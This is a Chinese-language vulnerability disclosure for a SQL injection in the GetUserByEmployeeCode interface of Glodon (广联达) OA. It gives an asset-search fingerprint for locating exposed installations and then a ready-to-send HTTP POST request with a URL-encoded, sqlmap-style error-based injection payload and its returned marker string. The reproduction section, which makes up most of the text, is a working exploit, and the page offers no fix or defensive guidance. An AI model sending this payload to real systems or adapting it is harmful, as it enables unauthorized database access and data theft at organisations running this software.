广联达OA GetUserByEmployeeCode SQL注入漏洞
一、漏洞简介
广联达办公OA（Office Automation）是一款综合办公自动化解决方案，旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具，帮助企业管理和处理日常办公任务、流程和文档。由于广联达 Linkworks办公OA GetUserByEmployeeCode接口未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。
二、影响版本
- 广联达办公OA
三、资产测绘
- app.name="广联达 OA"
- 登录页面
四、漏洞复现
POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Length: 39
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
employeeCode=1%27+AND+9748+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%2898%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%289748%3D9748%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28122%29%2BCHAR%28122%29%2BCHAR%28113%29%29%29+AND+%27KENl%27%3D%27KENl&EncryptData=1
qbvjq1qxzzqsqlmap
POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Length: 39
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
employeeCode=1&EncryptData=1